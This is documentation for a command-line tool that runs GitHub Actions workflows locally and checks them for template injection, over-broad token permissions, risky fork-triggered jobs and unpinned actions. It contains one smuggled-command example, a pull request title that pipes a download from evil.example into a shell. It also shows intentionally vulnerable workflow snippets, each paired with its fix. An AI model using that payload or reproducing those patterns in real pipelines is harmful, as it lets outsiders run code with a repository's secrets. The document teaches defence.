SecureCI CLI documentation
Test and vet your GitHub Actions before you push. @secureci/cli (the secureci command) runs your workflows locally, validates them, and checks them against your organisation's pipeline standards — without committing, pushing, or waiting on a CI runner.
Free and open source under the MIT license. Source on GitHub, package on npm. Comparing tools? See SecureCI vs nektos/act, actionlint & zizmor, StepSecurity and GitHub's built-in security.
What it is
A single CLI that understands GitHub Actions the way the runner does:
- Run workflows locally — jobs in
needs:order (independent jobs and matrix combinations in parallel), matrix builds, reusable workflows, composite / JavaScript / Docker actions, and the full${{ }}/if:expression language. - Validate workflow and action files, flag template injection (untrusted
${{ }}input expanded intorun:scripts), over-broadGITHUB_TOKENpermissions andpull_request_target/workflow_runjobs that run untrusted code, and check them against a pipeline contract (required/forbidden actions, ordering, minimum versions, SHA-pinning, permissions, forbidden triggers and advisory severity rules). - Inventory every action a workflow pulls in, resolve each tag to a commit SHA, and catch supply-chain drift when a tag quietly starts pointing somewhere new.
Because it evaluates expressions and if: conditions like GitHub does — honoring context-availability rules and rejecting invalid if: the same way — you get far fewer false positives than plain pattern-matching tools.
Install
npm install -g @secureci/cli
# or run without installing:
npx @secureci/cli --help
Node.js 20+ is required. To build from source instead: npm install && npm run build.
Standalone binary (no Node.js needed)
Each release has a single-file binary for Linux (x64, arm64), macOS (Intel, Apple silicon) and Windows (x64), a SHA256SUMS file, and a signed build-provenance attestation. Pick the asset for your platform: secureci-linux-x64, secureci-linux-arm64, secureci-darwin-x64, secureci-darwin-arm64 or secureci-win-x64.exe (CLI 0.6.0 or later).
# macOS / Linux (here: Linux x64)
asset=secureci-linux-x64
base=https://github.com/secure-ci/cli/releases/latest/download
curl -fsSL -O "$base/$asset" -O "$base/SHA256SUMS"
sha256sum --check --ignore-missing SHA256SUMS # macOS: shasum -a 256 --check --ignore-missing SHA256SUMS
gh attestation verify "$asset" --repo secure-ci/cli # optional: verify provenance
chmod +x "$asset" && sudo mv "$asset" /usr/local/bin/secureci
secureci --version
# Windows (PowerShell)
$base = "https://github.com/secure-ci/cli/releases/latest/download"
Invoke-WebRequest "$base/secureci-win-x64.exe" -OutFile secureci.exe
Invoke-WebRequest "$base/SHA256SUMS" -OutFile SHA256SUMS
$expected = (Select-String -Path SHA256SUMS -Pattern "secureci-win-x64.exe").Line.Split(" ")[0]
if ((Get-FileHash secureci.exe -Algorithm SHA256).Hash -ne $expected) { throw "Checksum mismatch" }
gh attestation verify secureci.exe --repo secure-ci/cli # optional: verify provenance
.\secureci.exe --version
The binary bundles its own Node.js runtime, so it's large (~100 MB). JavaScript actions still need a node on PATH when they run on the host (--container-runtime host); in a job container they use the image's node. The macOS binaries are ad-hoc signed and the Windows binary is unsigned, so Gatekeeper or SmartScreen may ask you to confirm the first run (on macOS, a curl download isn't quarantined).
Homebrew (coming): a secure-ci/tap formula is planned.
First run
# See what a workflow would do, without running anything
secureci run .github/workflows/ci.yml --dry-run
# Run it for real (one container per job by default)
secureci run .github/workflows/ci.yml --input key=value
# Check a workflow's syntax
secureci validate .github/workflows/ci.yml
# Generate a ready-to-commit PR-checks workflow
secureci init workflow
# Lock the actions you use and catch supply-chain drift (commit secureci.lock)
secureci inventory # bootstraps secureci.lock, then drift-checks
secureci inventory --check # fail on drift (use in CI)
# Pin action tags to commit SHAs in place (keeps `# v4` for Dependabot/Renovate)
secureci pin
Where it shines
- Fast feedback loop — iterate on a workflow in seconds instead of push-wait-repeat.
- Enforce org-wide standards — a platform team writes one pipeline contract ("every deploy must run
security-scan ≥ v1.2first, pinned to a SHA") and every repo is checked against it, locally and in CI. - Supply-chain visibility —
secureci inventorywith a committed lockfile turns a silently moved action tag into a failing check, including tags inside the actions you use, and catches a locked repository that was deleted and re-created, andsecureci pinrewrites action tags to commit SHAs in place. - Known vulnerabilities —
inventoryandvalidateflag actions with published security advisories (for example GHSA-mrrh-fwg8-r2c3 intj-actions/changed-files), using the GitHub Advisory Database. - Machine-readable output —
--format json|sarifdrops straight into CI and GitHub code scanning. - Audit evidence — the contract,
secureci.lockand reports are plain files you can commit and keep. See using output as audit evidence and the compliance mapping (PCI DSS, DORA, NIS2, ISO 27001, SOC 2 and more).
See the reference for the complete command list and flags.
Supported environments
Each job (and each matrix combination) runs in one container, started when the job begins and removed when it ends. Every run: step and JavaScript action in the job reuses it, so tools and files from earlier steps persist.
- Container runtimes: Docker (default), Podman, or containerd (via
nerdctl) — selected with--container-runtime. The image followsjobs.<id>.container,--container-image, or aruns-on→ runner-image mapping you can override in config. - Service containers (
jobs.<id>.services) — databases, caches and other sidecars start before the job, join its network (reachable by hostname likepostgres:5432), wait for health checks, and are torn down with the job. - Host mode (
--container-runtime host) — an explicit opt-in to run steps directly on your machine (see Security).
Details, image mapping and config: Container isolation.
Examples
# Run a single job with inputs and a repository variable
secureci run .github/workflows/ci.yml --job build --input ref=main --var ENV=staging
# Pass a secret by name (value read from your environment, not the command line)
secureci run .github/workflows/deploy.yml --secret TOKEN
# Read env vars, secrets, inputs and variables from .env-style files
secureci run .github/workflows/deploy.yml --env-file .env --secret-file .secrets
# Validate against a central pipeline contract, recursing into called workflows
secureci validate .github/workflows/deploy.yml \
--contract contracts/platform-standard.yml --contract-recurse all
# Emit SARIF for GitHub code scanning
secureci validate .github/workflows/*.yml --format sarif > results.sarif
# Fail if any action drifted from the committed secureci.lock
secureci inventory --check
# Podman, a memory cap, and no network for the job containers
secureci run .github/workflows/ci.yml \
--container-runtime podman --container-memory 512m --no-network
More patterns — events, matrices, artifacts, caching, reusable workflows, CI usage — are in DOCS.md.
Limitations
The CLI aims for high runner fidelity, but it is not the GitHub runner. The main things to know:
- Linux containers only.
windows-*/macos-*jobs run in a Linux image with a warning. - Jobs running in parallel share your working copy. Each job has its own container, but every job mounts the same directory, so jobs that write the same files (e.g.
node_modules) can collide; use--parallel 1to run jobs one after another. actions/checkoutof the current repo doesn't clone — it uses your working copy as-is (so uncommitted changes are visible);ref:/fetch-depth:are ignored. Other repositories check out for real and need a token.- Artifacts and cache are local stand-ins, stored under
~/.secureci/; nothing is uploaded to or downloaded from GitHub. - Contract checks don't evaluate
if:conditions and, without--contract-recurse all, don't look inside remote composite actions / reusable workflows.
The exact scope of each is documented in DOCS.md.
Security
The CLI never silently runs steps on your machine. If the container runtime isn't available, it reports that and exits without running anything.
- Sandboxed by default. Steps and actions run in a container, not on your host.
- Host mode is explicit. Only
--container-runtime hostrunsrun:steps and third-party actions directly, with your user's privileges — the CLI warns and lists the remote actions first. - No ambient environment or secrets. On the host, steps get only a minimal allowlist plus the runner's
GITHUB_*/RUNNER_*vars and the workflow's ownenv:; everything else is passed explicitly. - Secret masking everywhere. Values from
--secret,--secret-fileor::add-mask::are redacted in all output, and in container mode never appear on the client command line (passed via a0600env file). Prefer--secret NAMEso the value stays out of your shell history too. - Tokens are handled carefully — sent only to the GitHub host in
GITHUB_SERVER_URL/GITHUB_API_URL(github.com by default), never passed to actions, and masked in logs.
What the package accesses, and why
Installing and running secureci involves these capabilities. Each is needed for the feature named, and none runs at install time.
| Capability | Where | Why |
|---|---|---|
| Shell / process spawning | run: steps, JavaScript actions, docker/podman/nerdctl | Runs workflow steps in a container (or on your host with --container-runtime host). commander also loads child_process, used only for executable subcommands this CLI does not use. |
| Network | github.com, api.github.com (or the GHES host you set) | Downloads actions and workflows, resolves tags to commit SHAs, and looks up security advisories for the actions you use (skipped with --offline). |
| Environment variables | HOME, PATH, GITHUB_*, GITHUB_TOKEN, GH_TOKEN | Builds the runner environment and authenticates GitHub downloads. |
| Filesystem | ~/.secureci/, the working directory, temp dirs | Caches actions and advisories, stores artifacts and config, and reads your workflow files. |
| Hard-coded URLs | GitHub documentation and JSON Schema URLs in messages and editor hints | Informational only; the CLI does not fetch them. |
No install scripts run for consumers. The published tarball contains only dist/, README.md, and LICENSE. See SECURITY.md for how to report a vulnerability.
Full details: Security: what runs where and Secret masking.
Full reference
Commands at a glance
run executes the workflow (one container per job by default). To check a workflow without running anything, use validate (static syntax, expression, template-injection, trigger and contract checks) or run --dry-run (simulate, showing what would run). run prints a one-line reminder of these alternatives when it starts.
# Run / dry-run a workflow
secureci run .github/workflows/ci.yml # executes for real
secureci run .github/workflows/ci.yml --dry-run # simulate, no execution
secureci run .github/workflows/ci.yml --job build
secureci run .github/workflows/test.yml --job test --matrix node:20 --matrix os:ubuntu-latest
# Validate (optionally against a pipeline contract), human or machine output
secureci validate .github/workflows/ci.yml
secureci validate .github/workflows/deploy.yml --contract contracts/standard.yml
secureci validate .github/workflows/ci.yml --format json
secureci validate .github/workflows/ci.yml --offline # no network (cached advisories only)
# Inventory the actions a workflow uses, and track drift
secureci inventory # bootstrap secureci.lock, or drift-check if it exists
secureci inventory --dry-run # just print the resolved inventory as JSON
secureci inventory --update-lock # (re)write ./secureci.lock
secureci inventory --check # compare against ./secureci.lock, fail on drift
# Pin action tags to commit SHAs in place (owner/repo@<sha> # v4)
secureci pin # every workflow, plus the local actions they use
secureci pin --check # fail if anything would change (for CI)
# Generate a PR-checks workflow, list workflows, manage config/cache
secureci init workflow
secureci list
secureci config list
secureci cache path
Passing inputs, env and secrets to run:
# Inputs for workflow_dispatch / workflow_call
secureci run wf.yml --input key=value
# Env vars for steps (a bare NAME passes $NAME from your shell)
secureci run wf.yml --env NPM_CONFIG_REGISTRY
secureci run wf.yml --env NPM_CONFIG_REGISTRY=https://example.com
# Secrets (a bare NAME reads $NAME from your environment, keeping the value
# out of the process list and shell history)
secureci run wf.yml --secret TOKEN
secureci run wf.yml --secret TOKEN=xxx
# Repository variables for the vars context
secureci run wf.yml --var ENVIRONMENT=staging
Values from files (--env-file, --secret-file, --input-file, --var-file)
Each of --env, --secret, --input and --var has a file counterpart that reads KEY=value pairs from a .env-style file (CLI 0.6.0 or later):
secureci run wf.yml --env-file .env --secret-file .secrets \
--input-file inputs.env --var-file vars.env
- Precedence: every flag is repeatable and files are read in order, so later files override earlier ones. Explicit
--env/--secret/--input/--varflags override values from files. - Secrets: every value from a
--secret-fileis masked in output like--secret, and in container mode reaches the container the same way (never on the client's command line; see Secret Masking). On Linux and macOS, the CLI warns if a secret file is readable by group or others (chmod 600it); values are never logged. - Errors: a missing file, or a line that can't be parsed, stops the run before anything executes. Parse errors name
file:linebut never echo the line, since it may hold a secret. - Config defaults:
env-file,secret-file,input-fileandvar-filein the config file name files to read when the matching flag isn't given (relative paths resolve against the current directory). Passing the flag replaces the config default rather than adding to it.
File format:
# Full-line comments and blank lines are ignored
export NAME=value # optional "export ", inline comment after whitespace
URL=https://x.test/#anchor # the URL keeps its #: a comment needs whitespace before it
EMPTY=
SINGLE='kept literally: $HOME \n # not a comment'
DOUBLE="escapes: \n newline, \t tab, \" quote, \\ backslash"
PEM="-----BEGIN KEY-----
multi-line values work in double quotes
-----END KEY-----"
- Keys are letters, digits,
_and-(not starting with a digit); whitespace around the key and around an unquoted value is trimmed. A later duplicate key wins. - Unquoted values run to the end of the line or to a
#preceded by whitespace. - Single-quoted values are literal and must close on the same line.
- Double-quoted values may span lines and support the escapes
\n,\r,\t,\"and\\; any other backslash is kept as written. No${VAR}expansion is done. - CRLF line endings and a UTF-8 byte order mark are accepted. Only a comment may follow a closing quote.
Container isolation
Flags
| Flag | Description |
|---|---|
--container-runtime <name> | auto|docker|podman|containerd|host (default: docker, overridable via ~/.secureci/config.yml). If the runtime isn't available, the run stops before any step runs. host runs steps directly on this machine, without a container (opt-in only) |
--container-image <image> | Image for every job without jobs.<id>.container, overriding the runs-on mapping (see below) |
--container-timeout <ms> | Per-step timeout in milliseconds |
--container-memory <limit> | Memory limit, e.g. 512m |
--no-network | Disable container network access (networking is on by default, like GitHub-hosted runners) |
--allow-network | Allow container network access; only needed to override allow-network: false in the config file |
containerd is driven via its Docker-CLI-compatible front-end, nerdctl.
How container mode works
- Each job (and each matrix combination) gets one container, started when the job begins and removed when it ends, including when a step fails or you press Ctrl-C. Every
run:step and JavaScript action in the job runs in it viaexec, so files, installed packages and tools from earlier steps are still there. The current directory is mounted at/secureci-workspace. - The image is chosen in this order:
jobs.<id>.container(string or{ image, env }form;options,volumes,portsandcredentialsare ignored with a warning). With--container-runtime hostit's ignored and the job runs on the host.--container-image, for every job.- The job's
runs-onlabel, mapped to a runner-like image:ubuntu-latest→catthehacker/ubuntu:act-latest,ubuntu-24.04/22.04/20.04→catthehacker/ubuntu:act-24.04/act-22.04/act-20.04(the images nektos/act uses, with Node.js, git, curl and common runner tools). Add or override labels withrunner-imagesin the config file (below). container-imagefrom the config file, elsecatthehacker/ubuntu:act-22.04, for labels with no mapping (self-hosted, custom), with a warning.windows-*/macos-*jobs also run in this Linux image, with a warning.
- The runner images are large (about 2 GB unpacked) and pulled on first use.
- JavaScript actions run with the image's own
node. If an image has no Node.js (e.g. a plainubuntu:22.04via--container-image), they fail with a clear error. jobs.<id>.servicesare supported: see Service Containers.--container-timeoutfails a step that runs longer than the given time, and kills its processes in the job container (including background ones it started).
Security: what runs where
The CLI never falls back to running steps on your machine: if the container runtime isn't available, it reports that and exits without running anything. Only with --container-runtime host (an explicit opt-in, also settable in the config file) do run: steps and remote JavaScript and composite actions run directly on your machine with your user's privileges. Any third-party action can read your files and use your network. The CLI prints a warning listing the remote actions before such a job runs. Use a container runtime to sandbox them.
- On the host, steps and actions don't inherit your shell's environment: only
PATH,HOME, locale, temp-dir, proxy/CA and container-client variables are passed, plus the runner'sGITHUB_*/RUNNER_*variables and the workflow's ownenv:. Pass anything else explicitly with--env NAME(value from your shell) or--env NAME=value, and secrets with--secret NAME. - In container mode, env values never appear on the container client's command line (see Secret Masking below).
actions/checkout
actions/checkout of the repository being run (no repository: input, or the current repository) doesn't clone anything: the workspace already is your working copy, so later steps see your uncommitted changes, no network or token is needed, and your .git is never touched. The step's ref and commit outputs are github.ref and github.sha.
path:copies the working copy into that subdirectory (skipping the copy itself) and removes it when the job ends. A non-empty directory there that the CLI didn't create is never overwritten; the step fails instead.ref:and other inputs (fetch-depth,submodules, ...) are ignored, with a warning for arefother than the current one.- Checkouts of other repositories run the real action, which needs a token: pass one with
--secret GITHUB_TOKEN(reads$GITHUB_TOKEN). It becomes bothsecrets.GITHUB_TOKENandgithub.token. No token is picked up implicitly, since every action in the run could read it. --no-local-checkoutruns the real action for the current repository too.
Global configuration
SecureCI reads defaults from ~/.secureci/config.yml (created on first secureci config set, or editable by hand). Config keys match the CLI flag names (kebab-case, minus the leading --). CLI flags always take precedence over the config file.
secureci config set container-runtime podman # persist a default
secureci config get container-runtime
secureci config list
secureci config unset container-runtime # revert to the built-in default (docker)
secureci config path # print the config file location
Supported keys: container-runtime, container-image, container-timeout, container-memory, allow-network, parallel (see Parallel jobs), env-file, secret-file, input-file, var-file, and runner-images.<label>.
env-file, secret-file, input-file and var-file are default files for the matching run flags (Values from files). config set stores one path; edit the file by hand for a list, read in order:
# ~/.secureci/config.yml
secret-file: .secrets
env-file:
- .env
- .env.local
runner-images.<label> maps a runs-on label to an image:
secureci config set runner-images.ubuntu-latest node:20-bookworm # map one runs-on label
secureci config set runner-images.my-self-hosted-runner my/image:1
# ~/.secureci/config.yml
runner-images:
ubuntu-latest: node:20-bookworm
my-self-hosted-runner: my/image:1
Template injection checks (validate)
GitHub substitutes every ${{ }} expression into a run: script before the shell sees it. If the expression is text an outside contributor controls, such as a pull request title, that text becomes part of the script (CLI 0.6.0 or later):
on: pull_request_target
jobs:
greet:
runs-on: ubuntu-latest
steps:
# A PR titled `"; curl https://evil.example | sh; echo "` runs that command
- run: echo "Thanks for ${{ github.event.pull_request.title }}"
secureci validate reports this as an error (it is a code-execution path), with the SARIF rule secureci/injection:
[ERROR] [ERROR] jobs.greet.steps[0].run: ${{ github.event.pull_request.title }} expands untrusted input (github.event.pull_request.title) into the shell script, so a crafted value can run arbitrary commands. Pass it through env: (e.g. env: TITLE: ${{ github.event.pull_request.title }}) and use "$TITLE" instead.
The fix is to pass the value through the environment and quote the variable, so the shell treats it as data:
- run: echo "Thanks for $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}
What is checked:
- Where:
run:scripts, and thescriptinput ofactions/github-script(where the fix isprocess.env.NAME). Expressions inenv:values are never flagged, since that is the fix; nor are other actions'with:inputs. - Untrusted input: the list kept in
UNTRUSTED_CONTEXTS, based on GitHub Security Lab's untrusted-input list:github.head_ref- issue, pull request, discussion, comment and review titles and bodies (
github.event.issue.title,github.event.pull_request.body,github.event.comment.body,github.event.review.body, …) - branch names and labels from the pull request head:
github.event.pull_request.head.ref,.head.label,.head.repo.default_branch, andgithub.event.workflow_run.head_branch/.pull_requests.*.head.ref - commit messages and author/committer names and emails:
.message,.author.name,.author.email,.committer.nameand.committer.emailofgithub.event.head_commitandgithub.event.commits.*;.message,.author.nameand.author.emailofgithub.event.workflow_run.head_commit; andgithub.event.workflow_run.display_title - label names on the issue or pull request (
github.event.issue.labels.*.name,github.event.pull_request.labels.*.name) and wikigithub.event.pages.*.page_name - inputs of
workflow_dispatch/workflow_call(inputs.<name>andgithub.event.inputs.<name>), except inputs typedboolean,number,choiceorenvironment, which can't hold arbitrary text
- Not flagged: values an outsider can't shape into a payload, e.g.
github.sha,github.run_id,github.repository,github.actor,github.ref,github.event.pull_request.number,secrets.*,matrix.*,steps.*.outputs.*,env.*. - Expressions are analyzed, not pattern-matched.
contains(),startsWith(),endsWith(), comparisons and!produce a boolean, so${{ contains(github.event.issue.title, 'bug') }}is safe.format(),join(),fromJSON()and||/&&pass their operands through, andtoJSON(github.event)(or any object holding untrusted fields) is flagged. Each offending expression is reported separately. - Local composite actions (
uses: ./path) and local reusable workflows (jobs.<id>.uses: ./path.yml) are followed recursively, with error paths likejobs.build.steps[1] > ./.github/actions/greet > steps[0].run. An action input the caller fills with untrusted input (with: name: ${{ github.event.issue.title }}), or whosedefault:is untrusted, is treated as untrusted inside that action. Remote actions and workflows are not inspected. - Validating a composite action file on its own checks its steps for untrusted contexts, but doesn't flag its own
inputs.*, since what callers pass is unknown.
Limitations: data that reaches a script indirectly (for example an untrusted value written to a step output or to env: and then expanded as ${{ steps.x.outputs.y }} or ${{ env.Y }}) is not tracked. github.ref / github.ref_name are not flagged, because only someone with push access to the repository chooses those names.
GITHUB_TOKEN permissions (validate)
Every job gets a GITHUB_TOKEN. Without a permissions: block it gets the repository's (or organization's) default permissions, which on many repositories is read/write on every scope. secureci validate flags workflows that leave the token broader than it needs to be. These findings are warnings (rule secureci/permissions in SARIF): they're reported, but validation still passes. A contract can make them errors (CLI 0.6.0 or later).
| Finding | Reported at | When |
|---|---|---|
| No permissions declared | permissions | The workflow has no top-level permissions: and at least one job has none either. The message names those jobs. A job with its own permissions: is covered. |
write-all at the top level | permissions | permissions: write-all gives every job write access to every scope. |
| A write scope at the top level | permissions.<scope> | For example contents: write in the top-level block, which applies to every job. Declare it on the job that needs it instead. |
write-all on a job | jobs.<id>.permissions | The job's token can write to every scope. List only the scopes it needs. |
- Fine as they are:
permissions: {}(no access),permissions: read-all, and any mapping ofread/nonescopes, at either level. Write scopes on a job (notwrite-all) are not flagged; that's where they belong. - Reusable workflows are exempt from the missing-block check. A workflow whose only trigger is
on: workflow_callruns with the token of the job that calls it, so the caller is where permissions are set. If it has any other trigger as well (for exampleworkflow_dispatch), it is checked like any other workflow. Thewrite-alland write-scope checks still apply to reusable workflows. - Job-level permissions replace the top-level ones, they don't add to them. When you move a write scope to a job, repeat the read scopes that job still needs:
permissions:
contents: read # every job: read-only
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm test
release:
needs: test
runs-on: ubuntu-latest
permissions:
contents: write # only this job can push tags and create releases
steps:
- uses: actions/checkout@v4
- run: npm run release
Dangerous triggers (pull_request_target, workflow_run)
secureci validate flags workflows that a fork could use to run code with your repository's privileges (a "pwn request"). Workflows triggered by pull_request_target or workflow_run run with the base repository's secrets and a read/write GITHUB_TOKEN, even when the pull request (or the run that triggered them) came from a fork (CLI 0.6.0 or later).
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # the fork's code
- run: npm ci && npm test # runs it with secrets: error
- Error: a job checks out untrusted code with
actions/checkout, then later in the same job runs arun:step or a local action (uses: ./…). The finding is reported once per job, at the checkout step, and names the step that executes the code. A checkout counts as untrusted when itsref:orrepository:referencesgithub.event.pull_request.head.sha,.head.refor.head.repo.full_name,github.event.pull_request.merge_commit_sha,github.head_ref,github.event.workflow_run.head_sha,.head_branch,.head_commit.idor.head_repository.full_name, or a literalrefs/pull/…ref. - What
actions/checkoutdoes about it. Since June 2026actions/checkoutrefuses to check out a fork's code under these triggers unless the step setsallow-unsafe-pr-checkout: true(changelog). The finding stays an error either way, and from CLI 0.7.0 its message says which case applies:- v7, a floating major tag (
@v4), a branch (@main) or no version: the checkout is refused by default, so the step fails until someone adds the opt-out, which would run the fork's code. - A commit SHA, a minor or patch version (
@v4.1.0,@v4.2) or@v1: the default doesn't apply, so the checkout succeeds. A SHA counts as unprotected because its version can't be told offline. allow-unsafe-pr-checkout: true(or'true'): an explicit opt-out of the protection.
- v7, a floating major tag (
- Warning instead of error when the job's
if:is a label check (github.event.pull_request.labels…, e.g.contains(github.event.pull_request.labels.*.name, 'safe to test'), orgithub.event.label.name): a maintainer must approve each run, so review the pull request's code before applying the label. - Warning instead of error when the checkout step carries a
# secureci-allow dangerous-trigger: <reason>comment, at the end of the step's first line or on a line of its own directly above it (CLI 0.7.0 or later). Use it when a team accepts the risk, for example while workflows still track the org's own actions on@main. The warning names the comment and quotes the reason, so the exception shows up in every report. A comment with no reason doesn't downgrade anything, and the error says a reason is needed.steps: # secureci-allow dangerous-trigger: org actions stay on main until the v2 release - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} - run: npm test - Warning for the trigger alone (path
on.<trigger>, once per privileged trigger), so teams can audit every such workflow. It is omitted when a job-level finding above is reported, so a workflow is never reported twice for the same trigger. - Not flagged: a checkout of the base (no
ref:, or e.g.github.event.pull_request.base.sha), and an untrusted checkout with no laterrun:step or local action in that job (e.g. only a remote action that reads the files). - Every form of
on:is recognized (on: pull_request_target, a list, or a map). Warnings don't fail validation; an error does. In SARIF output these findings use the rulesecureci/dangerous-trigger.
Limitations: only actions/checkout steps are inspected (a git fetch/gh pr checkout in a run: step is not), the untrusted ref must appear directly in ref:/repository: (not via an env: variable or a step output), a remote action run after the checkout is not treated as executing it, environment: protection rules are not recognized as a gate, and jobs that call a reusable workflow are not inspected. To forbid these triggers outright, use forbidden-triggers in a pipeline contract.
Pipeline contracts (validate --contract)
In organizations with a central repo of reusable workflows/actions, a platform team can define a minimum pipeline standard — required actions, forbidden actions, and (optionally) the order required actions must run in — and have SecureCI check a caller's workflow against it.
# contracts/platform-standard.yml
ordering: relative # or "strict" (default: relative)
required:
- uses: org/security-scan
min-version: v1.2.0
- uses: org/deploy
forbidden:
- uses: org/legacy-deploy # forbid entirely, any version
- uses: org/deploy
version: v1 # forbid only this exact version
secureci validate .github/workflows/deploy.yml --contract contracts/platform-standard.yml
If the caller's workflow calls org/deploy before org/security-scan (or uses org/legacy-deploy, or omits a required action, or pins org/security-scan below v1.2.0), the command exits non-zero with a message like:
[INFO] Validating workflow...
[INFO] Validating against pipeline contract: contracts/platform-standard.yml
[ERROR] Validation failed:
[ERROR] [ERROR] required[1]: Required action "org/deploy" must run after "org/security-scan", but it does not
uses:steps in the workflow are checked, including those inside local composite actions (uses: ./path) and local reusable workflows (jobs.<id>.uses: ./path.yml), resolved recursively from the repository root, so wrapping an action doesn't hide it. With--contract-recurse all, remote composite actions and reusable workflows (org/repo/...@ref) are downloaded (through the action cache) and inspected too; one that can't be fetched is a warning.--contract-recurse nonechecks only the workflow file itself. The default,local, stays offline. Error paths show the call path, e.g.jobs.release > ./.github/workflows/release.yml > jobs.ship.steps[0]. Cycles and nesting deeper than 10 levels are errors; a local reference that can't be found is a warning.- Ordering follows what GitHub guarantees: steps of a job run in order (a composite action's steps in place of its
uses:step), and a job runs after every job it needs, directly or transitively (a reusable-workflow call's jobs run after the call's ownneeds:). Two required actions in jobs with noneeds:relationship may run in parallel, so neither counts as "after" the other: that's an ordering error, whatever the jobs' order in the YAML. ordering: relative(default): required actions must appear in that relative order, with any other steps allowed in between.ordering: strict: required actions must run back-to-back, with no other step in between; across jobs, only the last step of a job followed by the first step of a job that directly needs it counts.- A missing required action, a required action below
min-version, an ordering violation, or any forbidden-action match is an error (validation fails). A required action whose version can't be compared (e.g. pinned to a branch or SHA) is a warning. Ordering is checked for every required action that is present, including one belowmin-version(its first occurrence is used), and errors name the contract's ownrequired[N]entry.
Supply-chain pinning
A contract can require that every remote action is pinned to a full commit SHA and restrict which owners may be used — enforced across the same flattened sequence, so a tag or an unlisted owner can't hide inside a composite action or reusable workflow:
pins:
required: true # every remote action must be pinned to a 40-char commit SHA
allow:
- actions # trust these owners (or owner/repo) by tag
allowed-owners: # if set, every remote action's owner must be listed
- actions
- my-org
Local (./) and docker:// references are exempt from SHA pinning. An unpinned action or a disallowed owner is an error, reported at the step's call path.
To fix unpinned actions, run secureci pin --contract <file>: it rewrites tags to SHAs and leaves the pins.allow entries on their tags.
Requiring a lockfile
A contract can require every repository to commit a lockfile that covers what its workflows use (CLI 0.5.0 or later):
lockfile:
required: true
- The lockfile must exist at the root of the workflow's repository:
secureci.lock, or GitHub's.github/workflows/actions.lockwhen that is the only one. A missing lockfile is an error atlockfile. - Every remote action and reusable workflow in the flattened sequence must be listed in it. With
--contract-recurse all, that includes the actions inside remote composite actions and reusable workflows. Each missing reference is an error at its call path. Theowner/repopart is matched case-insensitively. - This check runs offline. It confirms the lock covers the workflow; whether each locked commit still matches is
secureci inventory --check(orinventory: checkin the GitHub Action).
--contract runs the normal syntax validation too, and currently applies to workflow files only (not standalone actions, since the contract is about a job/step sequence). Passing --contract against an action file fails with a clear error.
Permissions policy
A contract can turn the GITHUB_TOKEN permissions checks into a policy whose violations are errors (CLI 0.6.0 or later):
permissions:
required: true # every workflow (or every job) must declare permissions
max: # ceiling for the top-level block; write scopes only per job
contents: read
required: true: a workflow without a top-levelpermissions:block in which any job also has none is an error atpermissions, naming the jobs. Declaring permissions on every job satisfies it too.max: a ceiling for the workflow's top-levelpermissions:. Each scope there must be at or below its level inmax, and scopes not listed inmaxare capped atnone. A scope above the ceiling is an error atpermissions.<scope>.read-allandwrite-allat the top level are errors unlessmaxallows that level for every scope. Job-level permissions are not capped, so write scopes go on the jobs that need them. A workflow with no top-level block, where any job relies on the default token, is also an error, since that token isn't held to the ceiling.- Workflows whose only trigger is
workflow_callneed no top-level block for either option, as above. A top-level block they do declare is still held tomax. - When the contract turns a warning into an error, only the error is reported. Write scopes and
write-allthat the contract doesn't cover stay warnings. - Only the validated workflow file is checked, not the reusable workflows it calls; validate those files too (the GitHub Action validates every file in
.github/workflowsby default). - The contract file is checked strictly:
permissionsaccepts onlyrequired(trueorfalse) andmax, andmaxtakes GitHub's scope names (actions,artifact-metadata,attestations,checks,contents,deployments,discussions,id-token,issues,models,packages,pages,pull-requests,repository-projects,security-events,statuses) with the valuesread,writeornone. Anything else fails with an error naming the key.
Forbidding triggers
A contract can forbid events outright, whatever the workflow does with them (CLI 0.6.0 or later):
forbidden-triggers:
- pull_request_target
- workflow_run
Each forbidden event in a workflow's on: (string, list or map form) is an error at on.<event>, reported with the SARIF rule secureci/contract. Only the validated workflow's own on: is checked: a reusable workflow it calls runs under the caller's event. The value must be a list of strings.
Advisory severity threshold
secureci validate flags actions with known security advisories. By default, critical and high advisories are errors and medium and low ones are warnings. A contract can move that line (CLI 0.6.0 or later):
advisories:
fail-on: medium # critical | high (default) | medium | low
Findings at or above fail-on become errors and the rest warnings. Any other value is a contract error.
Contracts from another repository
A platform team can keep one contract in a central repository and have every repo check against it. Pass --contract the same owner/repo/path@ref form as a remote reusable workflow (CLI 0.4.0 or later):
secureci validate .github/workflows/deploy.yml \
--contract my-org/standards/contracts/platform.yml@4f1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c
- A local file always wins. If the value names a file that exists, it is read from disk.
- Pin to a commit SHA. A moving ref (
@main,@v1) still works but prints a warning, because the contract's owner can then change the standard without any change in your repository. - The version used is recorded. Text output logs the commit;
--format jsonadds a top-levelcontractobject and SARIF adds it underruns[0].properties.contract(source,ref,commit,pinned), so audit evidence shows exactly which version of the standard was enforced. - Private repositories need a token that can read them:
GITHUB_TOKEN/GH_TOKENorgh auth loginlocally. In the GitHub Action, the defaultgithub.tokencan't read other private repositories, so pass a PAT or GitHub App token through thegithub-tokeninput. Downloads use the same cache as remote actions, and GitHub Enterprise Server viaGITHUB_SERVER_URL.
Contract limitations (v1 scope)
- Without
--contract-recurse all, remote composite actions and reusable workflows are not inspected; only the reference itself is matched. strategy.matrixjobs are checked once against the job'ssteps:as authored, not once per combination:uses:can't contain expressions, so a matrix can only change whether steps run (viaif:), not which actions they use.if:conditions aren't evaluated. A required action that only appears in steps or jobs with anif:(other thansuccess()/always()) is reported as a warning that it may be skipped; a forbidden action counts even under anif:.- Action references are matched as exact strings against
uses:(minus any@versionsuffix) — this covers the commonowner/repoorowner/repo/pathmarketplace-action form, as well as local paths (./.github/actions/foo, matched with no version).docker://imagereferences are matched as-is (the whole string, includingdocker://) and have no version-pin concept. - The
owner/repopart of an action reference is matched case-insensitively, as GitHub resolves it (Org/Actionmatches a contract entry fororg/action). A path inside the repo (owner/repo/Path), local paths anddocker://references (whose tags are case-sensitive) are matched exactly.
Machine-readable output (--format)
secureci validate can emit results as JSON or SARIF for CI, instead of the default human-readable text. Both cover syntax validation and --contract findings, exit non-zero when validation fails, and print nothing but the report to stdout.
secureci validate .github/workflows/ci.yml --format json
